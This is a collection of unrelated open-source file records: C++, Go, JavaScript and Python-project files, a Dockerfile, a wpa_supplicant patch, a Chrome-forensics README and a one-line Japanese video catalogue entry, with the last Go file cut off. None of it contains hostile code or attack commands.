+{"text": "//===----------------------------------------------------------------------===//\n//\n//                     The LLVM Compiler Infrastructure\n//\n// This file is dual licensed under the MIT and the University of Illinois Open\n// Source Licenses. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n// \n\n// template  class fpos\n\n// == and !=\n\n#include \n#include \n\nint main()\n{\n    typedef std::fpos P;\n    P p(5);\n    P q(6);\n    assert(p == p);\n    assert(p != q);\n}\n"}
+{"text": "Chromagnon is a set of small tools dedicated to _Chrome_/_Chromium_ forensic.\n\n## Tools\n* [ChromagnonHistory](https://github.com/JRBANCEL/Chromagnon/wiki/ChromagnonHistory-=-chromagnonHistory.py) parses **Chrome History** file\n* [ChromagnonCache](https://github.com/JRBANCEL/Chromagnon/wiki/ChromagnonCache-=-chromagnonCache.py) parses **Chrome Cache** files\n* [ChromagnonVisitedLinks](https://github.com/JRBANCEL/Chromagnon/wiki/ChromagnonVisitedLinks-=-chromagnonVisitedLinks.py) can verify if urls are in **Chrome Visited Links** file\n* [ChromagnonDownload](https://github.com/JRBANCEL/Chromagnon/wiki/ChromagnonDownload-=-chromagnonDownload.py) parses **Chrome Downloaded Files** database\n\n## Requirements\n* Python 2.7\n\n## Remarks\n* Most of the code is Endianness dependant and tested only on little endian hosts\n* The code is alignment dependant. If Chrome was compiled with custom alignment flags, it probably won't work.\n\n## Work In Progress\nI am working on reverse engineering SSNS file format : [see this page](https://github.com/JRBANCEL/Chromagnon/wiki/Reverse-Engineering-SSNS-Format) for details.\n\n## Tests\nFollowing cases have been tested with success\n* Chromagnon on FreeBSD 9.0 amd64 parsing file from Windows 7 64bits (Chrome 20)\n* Chromagnon on FreeBSD 9.0 amd64 parsing file from Linux Mint 12 amd64 (Chrome 18)\n* Chromagnon on FreeBSD 9.0 amd64 parsing file from FreeBSD 9.0 amd64 (Chrome 15)\n* Chromagnon on Arch Linux x86_64 parsing file from Arch Linux x86_64 (Chrome 20)\n\nHelp is welcome to test Chromagnon on other plateforms.\n\n## License\nThe code is released under **New BSD License** or **Modified BSD License**. See LICENSE file for details.\n"}
+{"text": "/*\n * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n *     http://aws.amazon.com/apache2.0/\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n */\n\n#include \n\n#include \n#include \n#include \"AVSCommon/Utils/Metrics/MetricEventBuilder.h\"\n#include \"AVSCommon/Utils/Metrics/DataPointCounterBuilder.h\"\n\n#include \"ContextManager/ContextManager.h\"\n\nnamespace alexaClientSDK {\nnamespace contextManager {\n\nusing namespace rapidjson;\nusing namespace avsCommon;\nusing namespace avsCommon::avs;\nusing namespace avsCommon::sdkInterfaces;\nusing namespace avsCommon::utils;\nusing namespace avsCommon::utils::metrics;\n\n/// String to identify log entries originating from this file.\nstatic const std::string TAG(\"ContextManager\");\n\n/**\n * Create a LogEntry using this file's TAG and the specified event string.\n *\n * @param The event string for this @c LogEntry.\n */\n#define LX(event) alexaClientSDK::avsCommon::utils::logger::LogEntry(TAG, event)\n\n/// An empty token to identify @c setState that is a proactive setter.\nstatic const ContextRequestToken EMPTY_TOKEN = 0;\n\nstatic const std::string STATE_PROVIDER_TIMEOUT_METRIC_PREFIX = \"ERROR.StateProviderTimeout.\";\n\nstd::shared_ptr ContextManager::createContextManagerInterface(\n    const std::shared_ptr& deviceInfo,\n    const std::shared_ptr& multiTimer,\n    const std::shared_ptr& metricRecorder) {\n    if (!deviceInfo) {\n        ACSDK_ERROR(LX(\"createFailed\").d(\"reason\", \"nullDeviceInfo\"));\n        return nullptr;\n    }\n    return create(*deviceInfo, multiTimer, metricRecorder);\n}\n\nstd::shared_ptr ContextManager::create(\n    const DeviceInfo& deviceInfo,\n    std::shared_ptr multiTimer,\n    std::shared_ptr metricRecorder) {\n    if (!multiTimer) {\n        ACSDK_ERROR(LX(\"createFailed\").d(\"reason\", \"nullMultiTimer\"));\n        return nullptr;\n    }\n\n    std::shared_ptr contextManager(\n        new ContextManager(deviceInfo.getDefaultEndpointId(), multiTimer, metricRecorder));\n    return contextManager;\n}\n\nContextManager::~ContextManager() {\n    m_shutdown = true;\n    m_executor.shutdown();\n    m_observers.clear();\n    m_pendingRequests.clear();\n    m_pendingStateRequest.clear();\n}\n\n/**\n * A helper no-op function used as a default value for onContextAvailable and onContextFailure callbacks.\n */\nstatic void NoopCallback() {\n    // No-op\n}\n\nContextManager::RequestTracker::RequestTracker() :\n        timerToken{0},\n        contextRequester{nullptr},\n        skipReportableStateProperties{false} {\n}\n\nContextManager::RequestTracker::RequestTracker(\n    avsCommon::utils::timing::MultiTimer::Token timerToken,\n    std::shared_ptr contextRequester,\n    bool skipReportableProperties) :\n        timerToken{timerToken},\n        contextRequester{contextRequester},\n        skipReportableStateProperties{skipReportableProperties} {\n}\n\nvoid ContextManager::setStateProvider(\n    const CapabilityTag& stateProviderName,\n    std::shared_ptr stateProvider) {\n    if (!stateProvider) {\n        removeStateProvider(std::move(stateProviderName));\n    } else {\n        addStateProvider(stateProviderName, std::move(stateProvider));\n    }\n}\n\nvoid ContextManager::addStateProvider(\n    const avsCommon::avs::CapabilityTag& capabilityIdentifier,\n    std::shared_ptr stateProvider) {\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"capability\", capabilityIdentifier));\n    if (!stateProvider) {\n        ACSDK_ERROR(LX(\"addStateProviderFailed\").d(\"reason\", \"nullStateProvider\"));\n        return;\n    }\n\n    std::lock_guard stateProviderLock(m_endpointsStateMutex);\n    auto& endpointId = capabilityIdentifier.endpointId.empty() ? m_defaultEndpointId : capabilityIdentifier.endpointId;\n    auto& capabilitiesState = m_endpointsState[endpointId];\n    capabilitiesState[capabilityIdentifier] = StateInfo(std::move(stateProvider), Optional());\n}\n\nvoid ContextManager::removeStateProvider(const avs::CapabilityTag& capabilityIdentifier) {\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"capability\", capabilityIdentifier));\n    std::lock_guard stateProviderLock(m_endpointsStateMutex);\n    auto& endpointId = capabilityIdentifier.endpointId.empty() ? m_defaultEndpointId : capabilityIdentifier.endpointId;\n    auto& capabilitiesState = m_endpointsState[endpointId];\n    capabilitiesState.erase(capabilityIdentifier);\n}\n\nSetStateResult ContextManager::setState(\n    const CapabilityTag& capabilityIdentifier,\n    const std::string& jsonState,\n    const StateRefreshPolicy& refreshPolicy,\n    const ContextRequestToken stateRequestToken) {\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"capability\", capabilityIdentifier));\n\n    if (EMPTY_TOKEN == stateRequestToken) {\n        m_executor.submit([this, capabilityIdentifier, jsonState, refreshPolicy] {\n            updateCapabilityState(capabilityIdentifier, jsonState, refreshPolicy);\n        });\n        return SetStateResult::SUCCESS;\n    }\n\n    // TODO: Remove m_requestsMutex once this method gets deleted.\n    std::lock_guard requestsLock{m_requestsMutex};\n    auto requestIt = m_pendingStateRequest.find(stateRequestToken);\n    if (requestIt == m_pendingStateRequest.end()) {\n        ACSDK_ERROR(LX(\"setStateFailed\")\n                        .d(\"reason\", \"outdatedStateToken\")\n                        .sensitive(\"capability\", capabilityIdentifier)\n                        .sensitive(\"suppliedToken\", stateRequestToken));\n        return SetStateResult::STATE_TOKEN_OUTDATED;\n    }\n\n    auto capabilityIt = requestIt->second.find(capabilityIdentifier);\n    if (capabilityIt == requestIt->second.end()) {\n        ACSDK_ERROR(LX(\"setStateFailed\")\n                        .d(\"reason\", \"capabilityNotPending\")\n                        .sensitive(\"capability\", capabilityIdentifier)\n                        .sensitive(\"suppliedToken\", stateRequestToken));\n        return SetStateResult::STATE_PROVIDER_NOT_REGISTERED;\n    }\n\n    m_executor.submit([this, capabilityIdentifier, jsonState, refreshPolicy, stateRequestToken] {\n        updateCapabilityState(capabilityIdentifier, jsonState, refreshPolicy);\n        if (jsonState.empty() && (StateRefreshPolicy::ALWAYS == refreshPolicy)) {\n            ACSDK_ERROR(LX(\"setStateFailed\")\n                            .d(\"missingState\", capabilityIdentifier.nameSpace + \"::\" + capabilityIdentifier.name));\n            std::function contextFailureCallback = NoopCallback;\n            {\n                std::lock_guard requestsLock{m_requestsMutex};\n                contextFailureCallback =\n                    getContextFailureCallbackLocked(stateRequestToken, ContextRequestError::BUILD_CONTEXT_ERROR);\n            }\n            /// Callback method should be called outside the lock.\n            contextFailureCallback();\n\n        } else {\n            std::function contextAvailableCallback = NoopCallback;\n            {\n                std::lock_guard requestsLock{m_requestsMutex};\n                auto requestIt = m_pendingStateRequest.find(stateRequestToken);\n                if (requestIt != m_pendingStateRequest.end()) {\n                    requestIt->second.erase(capabilityIdentifier);\n                }\n                contextAvailableCallback = getContextAvailableCallbackIfReadyLocked(stateRequestToken, \"\");\n            }\n            /// Callback method should be called outside the lock.\n            contextAvailableCallback();\n        }\n    });\n    return SetStateResult::SUCCESS;\n}\n\nContextManager::ContextManager(\n    const std::string& defaultEndpointId,\n    std::shared_ptr multiTimer,\n    std::shared_ptr metricRecorder) :\n        m_metricRecorder{std::move(metricRecorder)},\n        m_requestCounter{0},\n        m_shutdown{false},\n        m_defaultEndpointId{defaultEndpointId},\n        m_multiTimer{multiTimer} {\n}\n\nvoid ContextManager::reportStateChange(\n    const CapabilityTag& capabilityIdentifier,\n    const CapabilityState& capabilityState,\n    AlexaStateChangeCauseType cause) {\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"capability\", capabilityIdentifier));\n\n    m_executor.submit([this, capabilityIdentifier, capabilityState, cause] {\n        updateCapabilityState(capabilityIdentifier, capabilityState);\n        std::lock_guard observerMutex{m_observerMutex};\n        for (auto& observer : m_observers) {\n            observer->onStateChanged(capabilityIdentifier, capabilityState, cause);\n        }\n    });\n}\n\nvoid ContextManager::provideStateResponse(\n    const avs::CapabilityTag& capabilityIdentifier,\n    const avs::CapabilityState& capabilityState,\n    ContextRequestToken stateRequestToken) {\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"capability\", capabilityIdentifier));\n\n    m_executor.submit([this, capabilityIdentifier, capabilityState, stateRequestToken] {\n        std::function contextAvailableCallback = NoopCallback;\n        {\n            std::lock_guard requestsLock{m_requestsMutex};\n            auto requestIt = m_pendingStateRequest.find(stateRequestToken);\n            if (requestIt == m_pendingStateRequest.end()) {\n                ACSDK_ERROR(LX(\"provideStateResponseFailed\")\n                                .d(\"reason\", \"outdatedStateToken\")\n                                .sensitive(\"capability\", capabilityIdentifier)\n                                .sensitive(\"suppliedToken\", stateRequestToken));\n                return;\n            }\n\n            auto capabilityIt = requestIt->second.find(capabilityIdentifier);\n            if (capabilityIt == requestIt->second.end()) {\n                ACSDK_ERROR(LX(\"provideStateResponseFailed\")\n                                .d(\"reason\", \"capabilityNotPending\")\n                                .sensitive(\"capability\", capabilityIdentifier)\n                                .sensitive(\"suppliedToken\", stateRequestToken));\n                return;\n            }\n\n            updateCapabilityState(capabilityIdentifier, capabilityState);\n\n            if (requestIt != m_pendingStateRequest.end()) {\n                requestIt->second.erase(capabilityIdentifier);\n            }\n            contextAvailableCallback =\n                getContextAvailableCallbackIfReadyLocked(stateRequestToken, capabilityIdentifier.endpointId);\n        }\n        /// Callback method should be called outside the lock.\n        contextAvailableCallback();\n\n    });\n}\n\nvoid ContextManager::provideStateUnavailableResponse(\n    const CapabilityTag& capabilityIdentifier,\n    ContextRequestToken stateRequestToken,\n    bool isEndpointUnreachable) {\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"capability\", capabilityIdentifier));\n\n    m_executor.submit([this, capabilityIdentifier, stateRequestToken, isEndpointUnreachable] {\n        std::function contextAvailableCallback = NoopCallback;\n        std::function contextFailureCallback = NoopCallback;\n        {\n            std::lock_guard requestsLock{m_requestsMutex};\n            auto requestIt = m_pendingStateRequest.find(stateRequestToken);\n            if (requestIt == m_pendingStateRequest.end()) {\n                ACSDK_ERROR(LX(\"provideStateUnavailableResponseFailed\")\n                                .d(\"reason\", \"outdatedStateToken\")\n                                .sensitive(\"capability\", capabilityIdentifier)\n                                .sensitive(\"suppliedToken\", stateRequestToken));\n                return;\n            }\n\n            auto capabilityIt = requestIt->second.find(capabilityIdentifier);\n            if (capabilityIt == requestIt->second.end()) {\n                ACSDK_ERROR(LX(\"provideStateUnavailableResponseFailed\")\n                                .d(\"reason\", \"capabilityNotPending\")\n                                .sensitive(\"capability\", capabilityIdentifier)\n                                .sensitive(\"suppliedToken\", stateRequestToken));\n                return;\n            }\n\n            if (!isEndpointUnreachable) {\n                auto& endpointState = m_endpointsState[capabilityIdentifier.endpointId];\n                auto cachedState = endpointState.find(capabilityIdentifier);\n                if ((cachedState != endpointState.end()) && cachedState->second.capabilityState.hasValue()) {\n                    if (requestIt != m_pendingStateRequest.end()) {\n                        requestIt->second.erase(capabilityIdentifier);\n                    }\n                    contextAvailableCallback =\n                        getContextAvailableCallbackIfReadyLocked(stateRequestToken, capabilityIdentifier.endpointId);\n\n                } else {\n                    contextFailureCallback =\n                        getContextFailureCallbackLocked(stateRequestToken, ContextRequestError::BUILD_CONTEXT_ERROR);\n                }\n            } else {\n                contextFailureCallback =\n                    getContextFailureCallbackLocked(stateRequestToken, ContextRequestError::ENDPOINT_UNREACHABLE);\n            }\n        }\n        /// Callback methods should be called outside the lock.\n        contextAvailableCallback();\n        contextFailureCallback();\n    });\n}\n\nvoid ContextManager::addContextManagerObserver(std::shared_ptr observer) {\n    if (observer) {\n        std::lock_guard lock{m_observerMutex};\n        m_observers.push_back(observer);\n    }\n}\n\nvoid ContextManager::removeContextManagerObserver(const std::shared_ptr& observer) {\n    std::lock_guard lock{m_observerMutex};\n    m_observers.remove(observer);\n}\n\nContextRequestToken ContextManager::generateToken() {\n    return ++m_requestCounter;\n}\n\nContextRequestToken ContextManager::getContext(\n    std::shared_ptr contextRequester,\n    const std::string& endpointId,\n    const std::chrono::milliseconds& timeout) {\n    ACSDK_DEBUG5(LX(__func__));\n    return getContextInternal(contextRequester, endpointId, timeout, false);\n}\n\nContextRequestToken ContextManager::getContextWithoutReportableStateProperties(\n    std::shared_ptr contextRequester,\n    const std::string& endpointId,\n    const std::chrono::milliseconds& timeout) {\n    ACSDK_DEBUG5(LX(__func__));\n    return getContextInternal(contextRequester, endpointId, timeout, true);\n}\n\nContextRequestToken ContextManager::getContextInternal(\n    std::shared_ptr contextRequester,\n    const std::string& endpointId,\n    const std::chrono::milliseconds& timeout,\n    bool bSkipReportableStateProperties) {\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"endpointId\", endpointId));\n    auto token = generateToken();\n    m_executor.submit([this, contextRequester, endpointId, token, timeout, bSkipReportableStateProperties] {\n        auto timerToken = m_multiTimer->submitTask(timeout, [this, token] {\n            // Cancel request after timeout.\n            m_executor.submit([this, token] {\n                std::function contextFailureCallback = NoopCallback;\n                {\n                    std::lock_guard lock{m_requestsMutex};\n                    contextFailureCallback =\n                        getContextFailureCallbackLocked(token, ContextRequestError::STATE_PROVIDER_TIMEDOUT);\n                }\n                contextFailureCallback();\n            });\n        });\n\n        std::lock_guard requestsLock{m_requestsMutex};\n        auto& requestEndpointId = endpointId.empty() ? m_defaultEndpointId : endpointId;\n        m_pendingRequests.emplace(token, RequestTracker(timerToken, contextRequester, bSkipReportableStateProperties));\n\n        std::function contextAvailableCallback = NoopCallback;\n        {\n            std::lock_guard statesLock{m_endpointsStateMutex};\n            for (auto& capability : m_endpointsState[requestEndpointId]) {\n                auto stateInfo = capability.second;\n                auto stateProvider = capability.second.stateProvider;\n\n                if (stateProvider) {\n                    bool requestState = false;\n                    if (stateInfo.legacyCapability && stateInfo.refreshPolicy != StateRefreshPolicy::NEVER) {\n                        requestState = true;\n                    } else if (!stateInfo.legacyCapability && stateProvider->canStateBeRetrieved()) {\n                        if (stateProvider->hasReportableStateProperties()) {\n                            /// Check if the reportable state properties should be skipped.\n                            if (!bSkipReportableStateProperties) {\n                                requestState = true;\n                            }\n                        } else {\n                            requestState = true;\n                        }\n                    }\n\n                    if (requestState) {\n                        stateProvider->provideState(capability.first, token);\n                        m_pendingStateRequest[token].emplace(capability.first);\n                    }\n                }\n            }\n\n            contextAvailableCallback = getContextAvailableCallbackIfReadyLocked(token, requestEndpointId);\n        }\n        /// Callback method should be called outside the lock.\n        contextAvailableCallback();\n    });\n\n    return token;\n}\n\nstd::function ContextManager::getContextFailureCallbackLocked(\n    unsigned int requestToken,\n    ContextRequestError error) {\n    ACSDK_DEBUG5(LX(__func__).d(\"token\", requestToken));\n    // Make sure the request gets cleared in the end of this function no matter the outcome.\n    error::FinallyGuard clearRequestGuard{[this, requestToken] {\n        auto requestIt = m_pendingRequests.find(requestToken);\n        if (requestIt != m_pendingRequests.end()) {\n            m_multiTimer->cancelTask(requestIt->second.timerToken);\n            m_pendingRequests.erase(requestIt);\n        }\n        m_pendingStateRequest.erase(requestToken);\n    }};\n\n    auto& request = m_pendingRequests[requestToken];\n    if (!request.contextRequester) {\n        ACSDK_DEBUG0(LX(__func__).d(\"result\", \"nullRequester\").d(\"token\", requestToken));\n        return NoopCallback;\n    }\n    for (auto& pendingState : m_pendingStateRequest[requestToken]) {\n        auto metricName = STATE_PROVIDER_TIMEOUT_METRIC_PREFIX + pendingState.nameSpace;\n        recordMetric(\n            m_metricRecorder,\n            MetricEventBuilder{}\n                .setActivityName(\"CONTEXT_MANAGER-\" + metricName)\n                .addDataPoint(DataPointCounterBuilder{}.setName(metricName).increment(1).build())\n                .build());\n    }\n    auto contextRequester = request.contextRequester;\n\n    return [contextRequester, error, requestToken]() {\n        if (contextRequester) {\n            contextRequester->onContextFailure(error, requestToken);\n        }\n    };\n}\n\nstd::function ContextManager::getContextAvailableCallbackIfReadyLocked(\n    unsigned int requestToken,\n    const EndpointIdentifier& endpointId) {\n    auto& pendingStates = m_pendingStateRequest[requestToken];\n    if (!pendingStates.empty()) {\n        ACSDK_DEBUG5(LX(__func__).d(\"result\", \"stateNotAvailableYet\").d(\"pendingStates\", pendingStates.size()));\n        return NoopCallback;\n    }\n\n    ACSDK_DEBUG5(LX(__func__).sensitive(\"endpointId\", endpointId).d(\"token\", requestToken));\n    // Make sure the request gets cleared in the end of this function no matter the outcome.\n    error::FinallyGuard clearRequestGuard{[this, requestToken] {\n        auto requestIt = m_pendingRequests.find(requestToken);\n        if (requestIt != m_pendingRequests.end()) {\n            m_multiTimer->cancelTask(requestIt->second.timerToken);\n            m_pendingRequests.erase(requestIt);\n        }\n        m_pendingStateRequest.erase(requestToken);\n    }};\n\n    auto& request = m_pendingRequests[requestToken];\n    if (!request.contextRequester) {\n        ACSDK_ERROR(\n            LX(\"getContextAvailableCallbackIfReadyLockedFailed\").d(\"reason\", \"nullRequester\").d(\"token\", requestToken));\n        return NoopCallback;\n    }\n\n    AVSContext context;\n    auto& requestEndpointId = endpointId.empty() ? m_defaultEndpointId : endpointId;\n    for (auto& capability : m_endpointsState[requestEndpointId]) {\n        auto stateProvider = capability.second.stateProvider;\n        auto stateInfo = capability.second;\n        bool addState = false;\n\n        if (stateInfo.legacyCapability) {\n            // Ignore if the state is not available for legacy SOMETIMES refresh policy.\n            if ((stateInfo.refreshPolicy == StateRefreshPolicy::SOMETIMES) && !stateInfo.capabilityState.hasValue()) {\n                ACSDK_DEBUG5(LX(__func__).d(\"skipping state for legacy capabilityIdentifier\", capability.first));\n            } else {\n                addState = true;\n            }\n        } else {\n            if (stateProvider && stateProvider->canStateBeRetrieved()) {\n                /// Check if the reportable state properties should be skipped.\n                if (stateProvider->hasReportableStateProperties()) {\n                    if (!request.skipReportableStateProperties) {\n                        addState = true;\n                    }\n                } else {\n                    addState = true;\n                }\n            }\n        }\n\n        if (addState) {\n            ACSDK_DEBUG5(LX(__func__).sensitive(\"addState\", capability.first));\n            context.addState(capability.first, stateInfo.capabilityState.value());\n        }\n    }\n    auto contextRequester = request.contextRequester;\n\n    return [contextRequester, context, endpointId, requestToken]() {\n        if (contextRequester) {\n            contextRequester->onContextAvailable(endpointId, context, requestToken);\n        }\n    };\n}\n\nvoid ContextManager::updateCapabilityState(\n    const avsCommon::avs::CapabilityTag& capabilityIdentifier,\n    const avsCommon::avs::CapabilityState& capabilityState) {\n    std::lock_guard statesLock{m_endpointsStateMutex};\n    auto& endpointId = capabilityIdentifier.endpointId.empty() ? m_defaultEndpointId : capabilityIdentifier.endpointId;\n    auto& capabilitiesState = m_endpointsState[endpointId];\n    auto& stateProvider = capabilitiesState[capabilityIdentifier].stateProvider;\n    capabilitiesState[capabilityIdentifier] = StateInfo(stateProvider, capabilityState);\n}\n\nvoid ContextManager::updateCapabilityState(\n    const avsCommon::avs::CapabilityTag& capabilityIdentifier,\n    const std::string& jsonState,\n    const avsCommon::avs::StateRefreshPolicy& refreshPolicy) {\n    std::lock_guard statesLock{m_endpointsStateMutex};\n    auto& endpointId = capabilityIdentifier.endpointId.empty() ? m_defaultEndpointId : capabilityIdentifier.endpointId;\n    auto& capabilityInfo = m_endpointsState[endpointId];\n    auto& stateProvider = capabilityInfo[capabilityIdentifier].stateProvider;\n    capabilityInfo[capabilityIdentifier] = StateInfo(stateProvider, jsonState, refreshPolicy);\n}\n\nContextManager::StateInfo::StateInfo(\n    std::shared_ptr initStateProvider,\n    const std::string& initJsonState,\n    StateRefreshPolicy initRefreshPolicy) :\n        stateProvider{initStateProvider},\n        capabilityState{initJsonState.empty() ? Optional() : Optional(initJsonState)},\n        legacyCapability{true},\n        refreshPolicy{initRefreshPolicy} {\n}\n\nContextManager::StateInfo::StateInfo(\n    std::shared_ptr initStateProvider,\n    const Optional& initCapabilityState) :\n        stateProvider{initStateProvider},\n        capabilityState{std::move(initCapabilityState)},\n        legacyCapability{false},\n        refreshPolicy{StateRefreshPolicy::ALWAYS} {\n}\n\n}  // namespace contextManager\n}  // namespace alexaClientSDK\n"}
+{"text": "#ifndef CAFFE_UTIL_SAMPLER_H_\n#define CAFFE_UTIL_SAMPLER_H_\n\n#include \n\n#include \"glog/logging.h\"\n\n#include \"caffe/caffe.hpp\"\n\nnamespace caffe {\n\nvoid GenerateJitterSamples(float jitter, vector* sampled_bboxes, bool keep_aspec_ratio = true);\n// Find all annotated NormalizedBBox.\nvoid GroupObjectBBoxes(const AnnotatedDatum& anno_datum,\n                       vector* object_bboxes);\n\n// Check if a sampled bbox satisfy the constraints with all object bboxes.\nbool SatisfySampleConstraint(const NormalizedBBox& sampled_bbox,\n                             const vector& object_bboxes,\n                             const SampleConstraint& sample_constraint);\n\n// Sample a NormalizedBBox given the specifictions.\nvoid SampleBBox(const Sampler& sampler, NormalizedBBox* sampled_bbox);\n\n// Generate samples from NormalizedBBox using the BatchSampler.\nvoid GenerateSamples(const NormalizedBBox& source_bbox,\n                     const vector& object_bboxes,\n                     const BatchSampler& batch_sampler,\n                     vector* sampled_bboxes);\n\n// Generate samples from AnnotatedDatum using the BatchSampler.\n// All sampled bboxes which satisfy the constraints defined in BatchSampler\n// is stored in sampled_bboxes.\nvoid GenerateBatchSamples(const AnnotatedDatum& anno_datum,\n                          const vector& batch_samplers,\n                          vector* sampled_bboxes);\n\n}  // namespace caffe\n\n#endif  // CAFFE_UTIL_SAMPLER_H_\n"}
+{"text": "\n\n    16dp\n    72dp\n    100dp\n"}
+{"text": "FROM balenalib/aarch64-fedora:28-build\nLABEL io.balena.device-type=\"raspberrypi3-64\"\n\nRUN dnf install -y \\\n\t\tless \\\n\t\tnano \\\n\t\tnet-tools \\\n\t\tusbutils \\\n\t\tgnupg \\\n\t\ti2c-tools \\\n\t&& dnf clean all\n\nRUN [ ! -d /.balena/messages ] && mkdir -p /.balena/messages; echo $'Here are a few details about this Docker image (For more information please visit https://www.balena.io/docs/reference/base-images/base-images/): \\nArchitecture: ARM v8 \\nOS: Fedora 28 \\nVariant: build variant \\nDefault variable(s): UDEV=off \\nExtra features: \\n- Easy way to install packages with `install_packages ` command \\n- Run anywhere with cross-build feature  (for ARM only) \\n- Keep the container idling with `balena-idle` command \\n- Show base image details with `balena-info` command' > /.balena/messages/image-info\n\nRUN echo $'#!/bin/sh.real\\nbalena-info\\nrm -f /bin/sh\\ncp /bin/sh.real /bin/sh\\n/bin/sh \"$@\"' > /bin/sh-shim \\\n\t&& chmod +x /bin/sh-shim \\\n\t&& cp /bin/sh /bin/sh.real \\\n\t&& mv /bin/sh-shim /bin/sh"}
+{"text": "ゆき最新番号\r\n【MVF-034】私は痴女 叱咤激淫2005-11-26クリスタル映像$$$MANIAC（クリス89分钟"}
+{"text": "import { Meteor } from 'meteor/meteor';\nimport { Tracker } from 'meteor/tracker';\n\nimport { settings } from '../../../settings';\nimport { TabBar } from '../../../ui-utils';\n\nMeteor.startup(function() {\n\tTracker.autorun(function() {\n\t\tif (settings.get('Message_AllowSnippeting')) {\n\t\t\tTabBar.addButton({\n\t\t\t\tgroups: ['channel', 'group', 'direct'],\n\t\t\t\tid: 'snippeted-messages',\n\t\t\t\ti18nTitle: 'snippet-message',\n\t\t\t\ticon: 'code',\n\t\t\t\ttemplate: 'snippetedMessages',\n\t\t\t\torder: 20,\n\t\t\t});\n\t\t} else {\n\t\t\tTabBar.removeButton('snippeted-messages');\n\t\t}\n\t});\n});\n"}
+{"text": "#include \"regex_yaml.h\"\n\nnamespace YAML {\n// constructors\nRegEx::RegEx() : m_op(REGEX_EMPTY) {}\n\nRegEx::RegEx(REGEX_OP op) : m_op(op) {}\n\nRegEx::RegEx(char ch) : m_op(REGEX_MATCH), m_a(ch) {}\n\nRegEx::RegEx(char a, char z) : m_op(REGEX_RANGE), m_a(a), m_z(z) {}\n\nRegEx::RegEx(const std::string& str, REGEX_OP op) : m_op(op) {\n  for (std::size_t i = 0; i < str.size(); i++)\n    m_params.push_back(RegEx(str[i]));\n}\n\n// combination constructors\nRegEx operator!(const RegEx& ex) {\n  RegEx ret(REGEX_NOT);\n  ret.m_params.push_back(ex);\n  return ret;\n}\n\nRegEx operator||(const RegEx& ex1, const RegEx& ex2) {\n  RegEx ret(REGEX_OR);\n  ret.m_params.push_back(ex1);\n  ret.m_params.push_back(ex2);\n  return ret;\n}\n\nRegEx operator&&(const RegEx& ex1, const RegEx& ex2) {\n  RegEx ret(REGEX_AND);\n  ret.m_params.push_back(ex1);\n  ret.m_params.push_back(ex2);\n  return ret;\n}\n\nRegEx operator+(const RegEx& ex1, const RegEx& ex2) {\n  RegEx ret(REGEX_SEQ);\n  ret.m_params.push_back(ex1);\n  ret.m_params.push_back(ex2);\n  return ret;\n}\n}\n"}
+{"text": "bin.includes = feature.xml,\\\n               feature.properties,\\\n               epl-v10.html,\\\n               license.html\nsrc.includes = epl-v10.html,\\\n               feature.properties,\\\n               feature.xml\nsrc.includes = epl-v10.html,\\\n               feature.properties,\\\n               feature.xml,\\\n               license.html\n"}
+{"text": "--- a/wpa_supplicant/wpa_supplicant.c\n+++ b/wpa_supplicant/wpa_supplicant.c\n@@ -2216,11 +2216,13 @@ void ibss_mesh_setup_freq(struct wpa_sup\n \tfor (j = 0; j < wpa_s->last_scan_res_used; j++) {\n \t\tstruct wpa_bss *bss = wpa_s->last_scan_res[j];\n \n-\t\tif (ssid->mode != WPAS_MODE_IBSS)\n+\t\t/* Don't adjust control freq in case of fixed_freq */\n+\t\tif (ssid->fixed_freq) {\n+\t\t\tobss_scan = 0;\n \t\t\tbreak;\n+\t\t}\n \n-\t\t/* Don't adjust control freq in case of fixed_freq */\n-\t\tif (ssid->fixed_freq)\n+\t\tif (ssid->mode != WPAS_MODE_IBSS)\n \t\t\tbreak;\n \n \t\tif (!bss_is_ibss(bss))\n"}
+{"text": "\n\nCodeMirror: Dylan mode\n\n\n\n\n\n\n\n\n\n\n\n\n
    \n
    Dylan mode
    \n\n\n
    \n\n    \n\n    
    MIME types defined: text/x-dylan.
    \n
    \n"}
+{"text": "package logrus\n\n// The following code was sourced and modified from the\n// https://github.com/tebeka/atexit package governed by the following license:\n//\n// Copyright (c) 2012 Miki Tebeka .\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy of\n// this software and associated documentation files (the \"Software\"), to deal in\n// the Software without restriction, including without limitation the rights to\n// use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\n// the Software, and to permit persons to whom the Software is furnished to do so,\n// subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in all\n// copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n// FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n// IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nimport (\n\t\"fmt\"\n\t\"os\"\n)\n\nvar handlers = []func(){}\n\nfunc runHandler(handler func()) {\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, \"Error: Logrus exit handler error:\", err)\n\t\t}\n\t}()\n\n\thandler()\n}\n\nfunc runHandlers() {\n\tfor _, handler := range handlers {\n\t\trunHandler(handler)\n\t}\n}\n\n// Exit runs all the Logrus atexit handlers and then terminates the program using os.Exit(code)\nfunc Exit(code int) {\n\trunHandlers()\n\tos.Exit(code)\n}\n\n// RegisterExitHandler adds a 